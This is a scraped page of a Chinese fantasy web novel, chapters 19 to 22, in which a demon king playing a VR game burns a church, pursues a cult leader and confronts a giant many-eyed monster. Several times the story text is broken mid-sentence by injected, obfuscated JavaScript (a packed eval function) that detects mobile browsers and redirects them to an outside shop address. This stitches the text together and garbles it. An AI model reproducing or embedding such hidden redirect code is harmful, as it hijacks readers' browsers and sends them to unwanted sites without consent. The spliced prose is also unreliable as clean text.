RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124866|196016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴许会聊得很投机。” 不开玩笑，他真的有认真考虑请雕塑师到魔王城来为自己立像。 翠西瞠目结舌，想不通这样的人为什么会被征召为勇者，殊不知阿契恩从来没有认同过这一点。 令她震惊的还不止如此——只听阿契恩忽然在嘴边拢起手，大声喊了句：“别躲着了！出来见我！” 翠西被吓的浑身如过电般发麻，恐惧让她再无法说服自己继续跟随阿契恩，已经开始四下寻找躲藏之处。 阿契恩的声音在宽阔的大厅内无数次回荡，余音未落，一种低沉到几乎感觉不到的嗡鸣从脚下传来，通过骨骼传导，让牙齿微微发酸。 翠西难以自抑的恐惧最终化成一句惊叫，她迅速从阿契恩身边跑开，躲进隐蔽的黑暗中。 阿契恩没有挽留。 与此同时，机关牵动不远处暗门缓缓开启，嵌在墙壁之上的烛台也随之被点亮。烛光下的墙面影影绰绰，似有无数扭曲的影子被拓印其上，保持着痛苦或狂喜的僵直舞姿，分不清是过往的祭品、还是痴狂的信徒。 阿契恩朝着为他敞开的暗门走去，带着归家般的从容，毕竟任何邪恶与诡谲都会拜服于它们真正的王。 通道冗长，像是走过魔物的咽喉，直达胃囊。 不知过了多久，阿契恩终于抵达尽头的寝殿。正对的墙壁被雕刻成一双手掌，托拢着摆在其正中的座椅。 光线昏暗，阿契恩起初没看清，以为座椅以及之上轮廓模糊的物体都是石雕的附属，直到那物体微微一动，身形才从凝固的黑暗中剥离开来。 教主坐在那里，一身近似传统长袍的衣物，但材质在血光下呈现出一种诡异的、湿漉漉的暗色，仿佛地底深处永不干涸的潮气都凝结在此。稀疏的白发散披在肩头，那种白色并非圣洁的银辉，更像某种见不得阳光的菌类，或是久埋地下的丝织品，阴暗腐朽。 他看上去是那样衰老又虚弱，似乎不需要任何人动手，要不了多久就会自然死亡。 大概正因如此，阿契恩出声询问：“你还站得起来吗？” 教主靠坐着，双手交叠置于膝上，姿态带着一种沉思般的静止。那双手枯瘦异常，指节嶙峋突出，皮肤紧贴着骨头，呈现出一种半透明的青白色。 烛光从一侧照来，将他的面容切割成极端的光影，另一侧脸颊完全沉在黑暗里，能看清的只有一道极高、极窄的鹰钩鼻梁。 他的声音沙哑，如同枯骨相互刮擦：“好久没有外乡人主动来见我了……” 阿契恩不耐烦地打断：“我问你话呢。” “当然，我还没有老到那种程度……” 像是为了证明自己，教主拿过权杖，双手支撑着、缓慢起身。 阿契恩仍不满意：“那你下来走两步。” 许是被他无厘头的话搞得有些懵，教主没来得及细想就照做了，颤颤巍巍地走下台阶，来到阿契恩身边。 距离足够近，能看到他眼眶深陷，眼白泛着浑浊的黄，像陈旧的羊皮纸。瞳孔非人般地过于漆黑，也过于扩大，边缘不规则，仿佛两滴凝固的污浊墨迹。 他问阿契恩：“你想要为我近距离展示什么吗，外乡人？” 不料话还没说完，阿契恩就迈着长腿朝着教主走来的方向扬长而去，剩这个可怜的老人在原地凌乱。 当教主好不容易转过身时，阿契恩已然坐到了他的位置上，单手撑头，长腿交叠，张扬地翘着二郎腿，居高临下。 那张椅子被垂垂老矣的教主坐得像个棺材，现在换阿契恩入座，才赋予了它和背后石雕该有的压迫感。 真正的魔王远道而来，屈尊亲临陋室，也算是蓬荜生辉。 阿契恩心满意足地勾起嘴角：“这样才对嘛。” 20. 第20章 许是年纪大了脑子转得慢，教主足足愣了好几秒才意识到阿契恩是在戏弄侮辱自己，随后勃然大怒，呵斥道：“愚蠢的外乡人，不知天高地厚，你将为此付出代价！” 可怜的人类，作了大半辈子恶都不曾见过魔王，眼下好不容易有机会一睹真容却还辨识不出，不知天高地厚的分明另有其人。 阿契恩宽宏大量，无视主教的愤怒与冒犯，慢条斯理道：“你先别急，我这次来没打算动手，解除诅咒又不是只有杀掉施咒人这一种法子。如果你现在为我解除诅咒，我愿意网开一面。” “荒唐至极！”教主全然没把阿契恩放在眼里，只当他是普通的外乡人，这会儿气得直发抖，将手里的拐杖不住地顿向地面，“来人呐！来人！” 好话阿契恩只说一次，既然对方敬酒不吃吃罚酒，他便不用再手下留情了。 阿契恩脸色彻底冷了下来，明明还保持着先前单手撑头的动作，整个人传达出的气质与情绪却全然变了，看向教主的眼神像在看尸体。 他没急着动手，好似在观望那老头会不会先一步气死，只可惜对方还是比他想象中耐活。 很快，随着一阵嘈杂的脚步声、说话声，翠西的追兵适时地出现，手里拿着棍棒砍刀之类的土兵器。 他们理所当然地拥护自己的教主大人，见阿契恩鸠占鹊巢，还摆出一副高高在上、目中无人的姿态，顿时叫骂个不停。 其实阿契恩的压迫感很明显，是他手腕上的手串给了他们开战的勇气。 殊不知阿契恩是故意将左手搭垂在扶手上，展示给他们看的。 “都给我上啊！”教主命令道，“不许杀了他，要抓活的！我让他知道谁才是这里的主人！” 镇民闻言纷纷争先恐后地朝阿契恩袭来。 阿契恩稳当当地坐着。直到跑得最快的那一位手中砍刀挥来、刀刃近在咫尺，他才发动传送技能，瞬移至窗边，脚踩在矮柜上。 只见那些镇民，前边的人停得算快，但后面的人来不及反应、来不及刹车，于是几个人撞在一起，手忙脚乱地摔在椅子上，人压着人，痛呼声和埋怨声一时此起彼伏。 戏耍这群蠢货对阿契恩来说就像呼吸一样简单。 有个傻乎乎的声音说：“他……他会魔法！” 另有粗暴的声音反驳他：“怕什么？他带着教主大人的手串，伤不到咱们！” 后者说的话像是定心丸，镇民很快重整旗鼓，再次斗志昂扬。 殊不知方才的一切都是阿契恩的测试——他确信自己无法用挥剑或发动技能的方式对这些人发动攻击，但在见到他们撞在一起时会喊疼后，他意识到自己通过其它方式间接性造成伤害。 镇民叫嚷着，再次冲向阿契恩。 教主却趁机溜走，脚步不算利索但速度却也不慢，完全没有一个半截入土的老人该有的样子。 阿契恩注意到教主的离开，但奈何被这些愚蠢的镇民纠缠，一时分身乏术。 他思索着该如何摆脱这些人，下意识后退半步，踩到了厚重的窗帘。他其实分辨不清具体材质，但晃动的烛火让他想到了一个试试总不会有错的法子。 阿契恩迅速行动，扯下酒红色的窗帘，借着高度优势将镇民缠裹其中。随后快速捡起能够得到的所有燃烧着的烛台，尽数丢过去。 如他期待的那样，火焰迅速腾起，顺着窗帘欲燃愈烈，炙热的光线在寝殿内炸开，像一团烈日，晃得人睁不开眼。 他花了几秒时间适应火光，期间清晰听到镇民的哀嚎—— 他们有的在极短时间内便被火焰包围，有的则被窗帘厚重的布料缠住、绊倒，眼睁睁地看着火焰蔓延到自己身上，烤烂皮肉。 那些人大声喊着教主的尊名，恳求他用神力帮助他们，用上从未有过的虔诚。过了好久他们才后知后觉那位大人已经先一步逃离，或许从一开始就是打算用这些炮灰拖延住阿契恩。 这时的阿契恩正踩在一片狼藉地长桌上，无情地注视着这桩惨剧。 火光将他的眼瞳照成梭形，这里仿佛成了人间烈狱，而他则是此地唯一来去自由的恶魔。 求生欲让镇民立即弃主，转而乞求阿契恩的拯救。 大概那些受困、甚至命丧于此的外乡人也曾用同样的词句、情绪乞求，但能肯定的是，在场没有一个人选择解救。 所以，阿契恩也会做出同样的选择。 他跳下长桌，不紧不慢地走向出口，再次穿过那条狭窄的长廊，将烧向天花板的火舌远远甩在身后。 火光将阿契恩出现在暗门门口的影子拉得极长，恰似一把夺人性命的匕首，锋利致命。 他停下步子，清脆的脚步声戛然而止。 虽然左右环顾没有看到主教的身影，但他仍是不急——在大火吞没整座教堂前，他有的是时间把那家伙找出来。 “一大把年纪就别玩什么捉迷藏了吧？” 阿契恩打趣着，话音未落，他便敏锐地捕捉到了恰似老鼠掀翻小体积摆件的声响。 “原来在那边。” 他毫不掩饰自己的动向，力求将恐惧以最大限度地带给对方。 终于，阿契恩寻声来到在忏悔室，只见翠西正跟教主缠斗着——准确来说，是被对方用权杖抵住脖子，单方面压制着。 见此情形，阿契恩不留情面地嘲笑翠西：“你怎么连个老头都打不过？” 出于玩家身份，他看得到教主的血条，脆弱得不值一提，最多算个精英怪。 翠西憋得满脸通红，好不容易才挣出一口气的间隙，高声道：“他吃了魔物的肉！” 几分钟前，翠西目睹教主从暗门落荒而逃。虽然不知道阿契恩做了什么，但教主落魄狼狈的身影无疑给了她巨大的勇气。 她从骑士雕像手中取下剑，尾随教主来到忏悔室。这里显然还有暗道，没时间等阿契恩追来。于是在不知道诅咒是否打破的情况下，她硬着头皮上了。 结果自然是攻击被弹开。 教主仓惶回头，惊觉阿契恩还有帮手，立马从长袍下掏出什么，囫囵咽下。 紧接着，翠西看到他暴露在外的皮肤青筋暴起，血管变得膨大、清晰可见，像寄生虫般在皮下卷曲蠕动。 藏在长袍下的干瘪身躯似乎也一同变得充盈，仿佛一股强大的力量正孕育而生，将要把这副羸弱的躯体撑爆。 翠西听到教主痛苦又含糊声音：“这可是我向那只魔物好不容易求来的肉……我本不想……不想用这招的……” 随即下一秒，翠西手里的剑被一条粗壮得不属于人类的手臂拍飞。 教主像一团巨大的黑影，将她扑倒，又将权杖横过来、死死卡在她脖子上。原本枯瘦的身体现在仿佛有几百斤重，她根本挣脱不开。 之后便是阿契恩赶到。 “快……逃……” 翠西用尽全力发出提示，就是想提醒他危险。她的确曾用上一切狡猾卑鄙的手段求生，但她并不双标，就算阿契恩现在弃她而去、见死不救，她也绝不会怪他。 阿契恩站在原地没动，语气玩味地重复了一遍：“魔物肉？” 翠西心里一沉——难道这家伙不知道魔物肉的危险性吗？普通人吃了那种东西可是会变成堪比魔物的存在啊！更何况他们二人现在还顶着诅咒效果，现在还不跑一会儿可是连全尸都没有了！ 阿契恩甚至都没管翠西死活，还留在原地追问：“是从哪儿来的魔物肉？” 变异教主似乎打算先掐死翠西，把阿契恩晾在一边暂时没管。 可就是他视而不见的行为触及了阿契恩的逆鳞。 “我，问你话呢。” 阿契恩说得一字一顿，同时释放出魔王的威压。吞下魔物肉的人类在有限的时间内也算是半个魔物，自然能感受到这股强烈的气息。 肌肉开始因为最原始的恐惧打颤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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即便服下魔王肉，孱弱的本体还是令教主的血量不堪一击，血条仅一击便快要见底。 教主发出痛苦又愤怒的惨叫，黑焰的法术即可终止。 奥菲莉亚没力气把剑拔下来，以为自己成功帮阿契恩解决了敌人，便退后几步、现了形。 没有战斗经验的她想不到教主还有余力、自己退得不够远，随后便被变异的胳膊抓住，甩向墙壁。 教主见还存在未被他诅咒的个体，竟也顾不上对方只是只弱小的蜥蜴，直接失去继续战斗下去的勇气，只想着落荒而逃。 只见他飞快跳到角落，拉开暗道，像只见不得光的老鼠般钻了进去。 阿契恩当然有时间送他上天，但出于某种原因，并没有那么做。 他放下拿着法杖的手，看了一眼空荡荡的暗道，随后走向昏迷的奥菲莉亚，低头问：“你还活着吗？” “哦……”奥菲莉亚艰难地睁开眼，沮丧道，“魔王大人……对不起，都怪我这样不争气，叫您分心，才让那家伙逃走了……” “不用道歉，我故意放他走的。”他又转而问翠西，“那你呢，还活着吗？” 翠西被烧得灰头土脸，想开口却咳出一团黑烟，又缓了一会儿才扭过头盯着阿契恩，明明差点一命呜呼，现在眼里竟生出几分狠意。 “为什么……这只魔物会叫你魔王？”她语气虚弱，却紧咬着牙关。 “当然是因为我就是。” 阿契恩不认为存在隐瞒的必要。他大步跨过翠西动弹不得的身体，寻着教主的血迹，来到暗道口。 血迹一直向前蔓延，将踪迹暴露，教主成为了阿契恩故意放出的诱饵。 不多时，奥菲莉亚缓过了劲，跌跌撞撞地跑到阿契恩身边，提防地看了翠西一眼，再次隐身。 大火已经烧了过来，走廊隐约映出忽明忽暗的火光。 阿契恩弯下腰，将半个身子探进暗道，又像想到了什么般停下。 他回过头，最后看了翠西一眼，对她说：“如果你能足够幸运地从这场大火里活下来，就算是罪孽已了了。” 翠西依旧是恶狠狠地：“难道我需要魔王的宽恕吗？” 阿契恩再没有理会，头也不回地钻进暗道。 21. 第21章 宿醉的感觉不好受，路易刷了两遍牙仍觉得嘴里有股味。 他转着勺子，将泡在牛奶里的麦片搅得沉沉浮浮，始终没什么胃口。 他昨晚断了片，仅剩一些支离破碎的记忆，又分不出是现实还是梦境。直到一大早睁开眼，他才意识到昨晚祝梵派人将他送回了父母家，于是他喝香槟喝得烂醉的丑事不可避免地捅到了爸妈那里。 本就是无关紧要的宴会，倒不至于挨数落，但路易还是被他爸无情嘲笑了一番。他实在没法反驳，只能不服气地拉着个脸。 父母家里自然没装游戏舱，路易这会儿脑袋隐隐作痛，虽然没有登入游戏的兴致，却唯独想跟阿契恩说说话，似乎只有这样才能扫清宿醉的疲乏。 要是能加到游戏之外的联系方式就好了。 这想法刚冒出来路易就被自己吓了一跳—— 他看中的应该是对方在游戏里惟妙惟肖的扮演才对，现实里是男是女都说不好，怎么会萌生出想要在游戏外接触的念头呢？ 还是先看看论坛吧。 路易像看早间新闻一般点进游戏论坛，一眼便看到了当了一整夜的“头版头条”——《[吃瓜]疑似白骑士团会长深夜用极品装备收买阿契恩不成反被打》 他皱着眉头点进去，然后一会儿憋不住笑、一会儿别扭地咋舌、嘟嘟囔囔骂上两句。就他这个变脸的反应而言，再早个几百年百分百要被送去教堂、找人驱魔。 路易认为，既然阿契恩拒绝了白骑士团，那就说明他未来加入自己公会的概率增加了一大截。 或者说有没有一种可能，他就是为此才拒绝万斯的呢？ 明明还没有求证，只是有这么个猜测，路易就忍不住沾沾自喜，迫不及待地想去游戏里问问阿契恩。 墨迹了半个多小时的半凉牛奶终于被路易快速喝完，然后回屋换衣服，边走边打招呼：“我回去了。” 父母不解他为何这样归心似箭，出于对路易性格的了解，他们象征性挽留了一下，最后还是由着他去了。 路上，路易又认真思索了一遍自己到底该不该找阿契恩要游戏外联系方式的问题，得出了截然相反的答案—— 还是非常需要的，至少可以问一下对方什么时候在线，避免扑空。就比如今天，如果稍后上线发现阿契恩不在线，他会很失落的。 不过话又说回来了，没记错的话，他还从未见过阿契恩离线，前段时间论坛里更是二十四小时都有玩家分享和他切磋的消息。 这已经不是用“肝”就能形容的程度了。 登入游戏后，阿契恩果然在线。 “早上好我的朋友！你现在在哪儿？在干嘛？我去找你呀？” 路易乐呵呵地给阿契恩发去消息，怕对方不会发送坐标还主动弹去组队申请，只要入队就能共享位置。 等回复的工夫，路易将一旁商铺的玻璃窗当作镜子，检查自己的仪容仪表。 虽然没有启用捏脸功能、现实和游戏里用着同一张脸，但他现在看着分明更有气色，没有宿醉带来的憔悴，发型和发色更是永远保持在最佳状态。 他很满意自己的外表，自认为符合一位充满魅力、人见人爱的公会会长该有的样子。 没过一会儿，阿契恩同意了组队申请。 随之而来的还有一条名为[检测到游戏剧情进度不同，请问是否进行同步？]的弹窗提示。 “……他难道玩了一个通宵吗？” 进度落后，路易更加后悔浪费时间去参加宴会了。他没多想，点了[确认同步]。 下一秒，压抑着恐惧的啜泣声传入耳中，路易困惑抬头，整条街道在他抬眼的瞬间褪了颜色—— 方才还淌着蜜般暖阳的石板路，此时已覆上了一层暗沉的碳渣。碎雪似的灰烬在浑浊的空气中浮游，将明媚日光滤成昏黄的、病恹恹的色泽。街边的镇民或是捶胸顿足、或是掩面而泣，像被同一根线牵引的木偶，齐齐面向同一个方向。 路易顺着该方向转身，然后，他凝固在原地。 远处，那座昔日庄严宏伟的教堂如今竟只剩一副焦黑的骨架，火焰舔舐过的残骸冒出缕缕青烟。 阿契恩走过的剧情里到底发生了什么？ 堂堂标志性建筑竟也能烧成这个样子？ 路易一时间不知该惊叹阿契恩的所作所为还是佩服这游戏强大的自由度。 他打字问阿契恩：“教堂怎么被烧了？还有你怎么残血了？” 阿契恩：“不用谢，随手的事。” “？” “对了，我闲着没事干烤了只兔子，奥菲莉亚吃不了，你来把剩下的吃了吧，别浪费。” 路易皱着眉头把这句话看了三遍，最后还是没忍住，连扣了三个问号。 阿契恩的位置坐标在野图，路易用上技能紧赶慢赶，最终耗时十几分钟。 赶到地方后，只见阿契恩坐在刚熄灭不久的火堆旁，背对着他，身侧不远的地方有一根没啃干净的骨头悬在半空。 路易揉了揉眼睛，以确保自己没看错。 这时阿契恩察觉到了他的存在，回过头邀请他：“快来，你再晚些肉就凉了。” 路易走过去，随着距离拉近，他无比确信有一根骨头浮在半空。 他警惕地盯着那根骨头，特地谨慎地从另一侧绕行，同时问阿契恩：“你为什么要对一根骨头使用浮空法术？” “什么？”阿契恩反应了半秒，“哦，奥菲莉亚，没必要再伪装了，你已经暴露了。” “天呐，真对不起，怪我太不小心。大人烤得兔肉实在好吃，于是就……”说话间，一只半人高的蜥蜴逐渐从透明状态显形，她向路易礼貌又骄傲地做起自我介绍，“你好，我叫奥菲莉亚，我知道你叫路易，很高兴认识你。” 路易还是第一次见奥菲莉亚，他看向阿契恩，眼里写满震惊与不解：“这游戏还有宠物系统吗？” “不是宠物，”不等阿契恩开口，奥菲莉亚就用小爪子锤着胸脯反驳，“我是魔王大人最忠诚的随从，未来还将会成为最能干的。” 路易唯一确信的事是捏脸系统还没有强大到能让玩家把自己捏成蜥蜴，于是他顺理成章地把奥菲莉亚当成只会说既定台词的游戏角色，对阿契恩刨根问底：“说真的，你从哪儿弄的啊？这玩意儿加属性不？” “在新手村遇见的。”阿契恩把剩下那半兔肉拿给路易，“她愿意跟着我，我就随她去了，属不属性的没注意。” 路易接过被烤得冒油的兔子尝了一口，咬碎硬脆的外皮后是油润的肉，没有佐料，只有最原始的肉香。 他赞叹道：“哇，尝起来跟真的一样，这游戏的味觉反馈绝了，跟着你简直是多玩了十块钱的。” 阿契恩没完全听懂，只听得出对方是在夸赞。 路易发现自己和那只蜥蜴都不可避免地嘴角油津津，唯独阿契恩干净得体，正垂着眼、用树枝翻搅篝火，确保每一粒阴燃的灰烬都被捻灭。 “唉？你不吃吗？”路易问。 “魔王大人才不需要呢。”奥菲莉亚抢答道，“是我说肚子饿，大人才烤给我吃的。” 阿契恩抬了下眼，用眼神示意奥菲莉亚没说错，普通人的生理性需求他都没有。 “别告诉我你来野图就是为了烤兔子的，烤完还不吃。”路易不理解。 “当然不是。”阿契恩淡淡道，“我在钓鱼，烤兔肉只是消磨时间。” “钓……鱼？” 别说池塘了，这附近连个小水洼都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124868|196016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有，钓哪门子鱼？ 阿契恩却点了点头，证明路易没听错。 “杆呢？” “不需要。” “饵呢？” “早丢出去了。” “那钓上来之后你还打算接着投喂我不？” 阿契恩认真想了想：“可以啊，如果你想吃的话。” 路易没招了，苦笑道：“别闹了，我看着像傻子吗你这么逗我？” “这倒是有待商榷。” “……” 于是阿契恩把这一晚所经历的事给路易概括地讲了一遍，包括从翠西嘴里确认诅咒来源、烧教堂、砍教主…… 路易听得瞠目结舌，之后的第一句话就是：“你真一个晚上没睡觉啊？” 阿契恩无语：“我以为你会问出点更有趣的问题。” 路易的关注点这样奇怪的原因是他是内测玩家，并且有看攻略。 不过现在的主流说法是该镇的设定便是NPC不可攻击，诅咒只在攻击教主的时候生效，令其附带100%闪避debuff。由于手串会提供较高属性收益，而击败教主之后无任何掉落，所以即便是看过攻略，所有人都会在权衡利弊之后选择接受手串、承受debuff。 至于该地区的通关方式也分为三条线—— 怯者线：击败非完全体Boss，教主存活。 愚者线：击败完全体Boss，教主存活。 善者线：击杀教主与完全体Boss。难度极大，目前无人达成，唯一可行的办法是通过其他线通关之后待等级提升再杀个回马枪。 路易也把收集来的攻略介绍给阿契恩。 阿契恩面无表情地听完全程，看似深思熟虑着，但凭路易对他的了解，断定他肯定又听不懂、早就走神了。 其实后续剧情怎么打路易都无所谓，他早就决定跟随阿契恩的意愿，但凭阿契恩我行我素。 “既然你也接受手串，中了诅咒，”阿契恩说，“那对抗教主的任务就交给奥菲莉亚。” 奥菲莉亚还带着那把从教堂顺出来的骑士剑，剑身比她身高还长，挥动起来动作卖力又滑稽，但对抗一个贪生怕死的小老头绰绰有余。 阿契恩继续道：“我要去把割肉给老头的那只魔物弄死，你想跟我一起吗？” 路易的眼睛里冒出兴奋的光——这话是什么意思？意思就是阿契恩的定下的作战方针里有他，终于不需要他拼命追赶、强行加入。 他心里有我！ 阿契恩刚才没看路易，这时候余光恍惚间瞥到路易眼里激动的光，跟当初冷不丁亲他一口时一模一样，心中立马警铃大作。 “阿契恩……” 阿契恩提防道：“我在听，你有话说话就行了。” 路易压着情绪，好像知道不该用猛烈的热情冲击阿契恩，他以一种近乎讨好的姿态问：“如果……我是说如果，等下我没拖你后腿的话，你考虑一下加入我的公会好不好？” 阿契恩对公会没有半点兴趣，要知道他作为魔王混迹在被王城征召的勇者之间已经很奇怪了。 路易见他不说话，心里沉了沉，不愧是拒绝了白骑士团的人。 但他还是想争取一下，于是更小心翼翼地问：“你想当会长也可以，总之……我就是想跟你一起建立公会。” 无论是路易还是奥菲莉亚，阿契恩其实想不通自己究竟有什么吸引力让这些人义无反顾地追随自己。 受人追随意味着责任，而责任连带着麻烦，要操心的事比独来独往多太多。 但正如他一直没有狠心驱赶奥菲莉亚离开，这些人的眉眼间似乎总有什么东西让他心软。 于是，他最后叹了口气，但还是板着脸说：“看你表现吧。” 22. 第22章 “原来你说的‘钓鱼’是这个。” 教主被刺伤，一路逃，流了一路的血。渗进泥土里的血变成了难看的深黑色，滴落在植被上的血尚且维持着原本的色泽，但早已凝固。 无论是那种，痕迹都清晰得刺眼，描绘出一条通往密林深处的、不容错辨的路。 路易接着说：“其实你可以直接来问我的，我知道那魔物在哪儿，或者说是Boss战的地点。” 阿契恩一本正经道：“做事总要讲证据。” 路易眨眨眼，感到意外：“你是说，如果证据不足你会放他们一马吗？” “不会，”阿契恩斩钉截铁，语气不容置疑，又带着上位者的随性，“证明自己无罪是他们的事。” 路易笑了笑，露出“这才对嘛”的表情。 奥菲莉亚默不作声，保持着隐形状态。为了不暴露身形，骑士剑由路易拿着，他走在前面劈砍沿途灌木，为一行人开路。 果然不多时，血迹将他们带到最初的祭坛，以及幽深的洞窟。 即便深知阿契恩不会做出其它选择，路易还是在开战前提醒：“你在教堂对教主造成了伤害，又放任他逃入深林向魔物求救，一系列行为将剧情引向善者线，我们将面对魔化教主以及完全体Boss。如果失败，哪怕复活后通关线的选择也不会重置，在成功通关前，我们将一直被困在镇子上。在开战前还有什么想说的吗？” 阿契恩抬起手，是接下来的话很重要，希望在场的各位都能认真听的意思。 路易点点头，做好了洗耳恭听的准备，严肃而专注。 “对教主的人造成伤害的人不是我，是奥菲莉亚。”阿契恩强调事实，他可不想跟一只小蜥蜴抢功绩。 路易怎么也没想到阿契恩想说的能是这么个重要指示，扶额承认道：“好的，是我说错了。话说……咱们真的不去升级下装备，补补状态再——” 阿契恩没等路易说完，就用挥出火球的方式表明态度。 洞窟的黑暗很快将火光吞噬。 下一秒，地面开始震动，象征着剧情的触发。同时，教主的哭喊声自洞内传出：“镇子上来了个很强的家伙，他的同伴没有接受我的诅咒，现在你必须出手了，要是我死了你也不会有好下场！” 阿契恩饶有兴趣地歪过头，拭目以待那个被自己封印多年的魔物能如何“出手”。 “别再自己骗自己了，其实你也清楚吧，封印早就失效了，不是吗？说不定……他早就把你忘了！” “……” 地面的颤动忽然停止，但更像是暴风雨前的宁静。 阿契恩瞥了路易一眼，因为他浑身紧绷的样子实在是太过惹眼。 只见路易正双手攥着骑士剑，手心不自觉地出汗，眼睛紧紧盯着黑漆漆的洞口，唯恐什么骇人的东西从里面猛然窜出。 他实在是太专心，以至于阿契恩冷不丁把手放到他肩膀上时几乎被吓得跳起来，手里的骑士剑也下意识乱挥了一下，离阿契恩完美无瑕的脸只差几厘米。 阿契恩知道那剑砍不到自己，分毫没躲。 他一脸冷漠，用手指将路易的剑锋从自己面前推开，嫌弃道：“你这么怂，出门在外丢得可是我的脸。” “我没怂。”路易为自己挽尊，“谁在专注的时候被人突然拍肩膀都会吓一跳的好吧？” 话音未落，地面再次陡然剧颤，震感汹涌暴烈，似从自地心深处碾压而来。 很快，地面如受惊巨兽的脊背般拱起、龟裂。碎石颠簸弹跳，尘灰倒卷升腾，一道道深不见底的裂痕自洞口嘶叫着蔓延，像是大地正在被某种不可名状的力量从内部撕开。 裂痕很快蔓延至身前，两人各自发动技能，闪到一边拉开距离。 阿契恩传送到当初目睹祭祀全程的陡坡边，因为完全没把对手放在眼里，到目前为止连剑都懒得拔。 路易则靠着突刺技能以媲美瞬移的速度来到祭坛上，底部的整块石板起到了加固作用，没有随着地面一并开裂，站在上面也能勉强稳住身形。 他抬起头，远远仰望阿契恩，记住他的大致位置，以便后续打配合。 震感愈发强烈。 只见深不见底的沟壑中，一只巨手猛地刺破岩层，死死扒住了大地边缘。 那看起来根本不像血肉之手，而是由嶙峋岩石粗暴糅合而成的可怖造物。五指如倾颓的石柱般抠进地面，所触之处的大地发出不堪重负的呻.吟。以那只手为中心，更广阔的裂隙如黑色蛛网疯狂蔓延。 在令人胆寒的摩擦与破碎声中，第二只巨手破土而出，同样死死扒住另一侧边缘。两只手同时发力，臂膀上层层叠叠的岩甲相互刮擦，爆出连串火星与刺耳巨响。 地面被撕开一个巨大的裂口，浑沌的土石如瀑布般向内倾泻。 它正在将自己从地壳的禁锢中拔出来。 “对！就是这样！百目巨魔！出来迎接我为你准备的祭品吧！” 教主从即将踏踏的洞穴中跑出来，身上的长袍已经变得泥泞残破，如同他此时畸形的外表一样令人生厌。 他振臂高呼：“践踏、撕裂、粉碎他们！然后——” 话没说完，一把锋利的骑士剑贯穿而来，在诅咒作用效果下偏移钉进半米远的石壁上。虽然没有命中，却足以让这位懦弱的教主禁声。 “奥菲莉亚！” 在路易的呼喊声中，骑士剑凭空浮起，冲着教主的面门挥出一击。刀锋划穿他的鹰钩鼻，带出一串弧度完美的血珠。 这把剑对她来说实在是太长太重，奥菲莉亚不可避免地气喘吁吁，但语气仍足够坚毅，听不出半点退缩之意：“交给我！” 交接完毕，路易拔出自己的剑准备迎战，脸上是大敌当前、严阵以待的绝对警惕与专注。 百目巨魔终于不见天日的地底中脱困，他等待这份自由已然太久太久。 先是覆盖着类似甲壳的庞大肩部，接着是巨石般的、布满了眼睛的头颅缓缓升起。 数十只大小不一的眼球嵌在粗糙的硬甲与蠕动的不明组织之间，有些大如磨盘，有些细长如裂缝。这些眼睛在无尽黑暗中染上了污浊混沌的颜色，一时间适应不了阔别已久的阳光，不断开合，每一次眨动都发出粘腻的声响。 再之后是脖颈、双肩、胸膛……一切暴露在外的部位皆布满大大小小的眼睛。 转眼间，百目巨魔显露出腰部以上的部分，如一座高山般升起。每一次沉重的呼吸都卷起来自地底的腐朽气息、夹杂硫磺与尘埃的腥风。 它暂时停了下来，而这半现的魔躯所带来的威压，已让天空都为之晦暗。 百目流转，俯视着下方微尘般的世界。上百道冰冷的目光如刀如剑般碾过大地，空气在目光所及之处都仿佛凝固、扭曲。所有眼睛都在转动，毫无规律，毫无情感，像在同时看向每一个方向，看向每一个被它庞大身躯衬得渺小的存在。 完全体Boss的血条在空中展开，大战一触即发。 “愚蠢的外乡人，”百目巨魔开口，陈述着登场台词，它舌头上竟然也生着一颗眼球，“我允许你绝望呐喊，控诉那位无情的王没有用更持久的阵法将我封印。现在，用你的死亡，庆祝我的自由。” “你说得对。但这其实是因为我没想到你能活这么久，我原本是打算把你关到死的。” 上百只眼睛突然同频，齐刷刷地望向陡坡顶，声音的来源 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124869|196016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 没人能心理强大到承受如此多畸形之眼的注视，可此时站在那儿的偏偏不是普通人—— “不得不说你之前装得挺像。”阿契恩双臂交叉环抱在胸前，“我真以为你诚心悔过，对你稍微有了那么一点点怜悯之心。” 顿时，所有眼睛全部睁大、瞪圆。百眼巨魔开始战栗，连带着大地一起。 震感前所未有地猛烈，晃得路易几乎无法稳住身形。 “吾王……吾王……” 百目巨魔猛然上前，扑向阿契恩所在的陡坡，附近树木均被它折断，烟尘四起，发出排山倒海般的巨大声响。 路易慌了神，相隔距离太远，只能高声呼喊阿契恩的名字。 要知道阿契恩从与教主在教堂的那一战后就没有恢复过状态，自始至终都是残血。这么一扑的伤害，可以说百分之百会将他传送至和平地区的复活点。 路易赶紧通过组队拦查看阿契恩状态，确认存活后，悬着的心放下来一半。 